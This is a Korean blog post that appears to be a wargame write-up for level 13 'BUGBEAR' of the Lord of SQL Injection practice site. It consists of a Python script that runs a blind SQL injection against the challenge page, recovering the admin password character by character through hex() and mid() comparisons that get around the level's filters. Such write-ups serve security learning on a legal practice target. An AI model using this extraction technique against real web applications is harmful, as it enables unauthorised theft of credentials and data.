본문으로 바로가기

LOS :: 13번 BUGBEAR

category Wargame/LOS(rubiya) 2018. 8. 14. 14:04

WRITE UP


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests
 
url = "http://los.rubiya.kr/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php"
session = {'PHPSESSID':'MY_SESSION'}
data = {}
 
flag=""
 
print("[∞] flag : ",end='')
 
for i in range(1,9):
   for j in range(48,127):
      data['no']="1||hex(mid(id,1,1))<62&&hex(mid(pw,"+str(i)+",1))>hex("+str(j)+")"
      res = requests.get(url, params=data, cookies=session)
      if "Hello admin" not in res.text:
         print(chr(j),end='')
         flag = flag + chr(j)
         break
    
data['pw']=flag
res = requests.get(url, params=data, cookies=session)
 
if "Clear!" in res.text:
   print("\n[♪] BUGBEAR Clear!")
 
cs


'Wargame > LOS(rubiya)' 카테고리의 다른 글

LOS :: 15번 ASSASSIN  (0) 2018.08.14
LOS :: 14번 GIANT  (0) 2018.08.14
LOS :: 12번 DARKKNIGHT  (0) 2018.08.14
LOS :: 11번 GOLEM  (0) 2018.08.14
LOS :: 10번 SKELETON  (0) 2018.08.14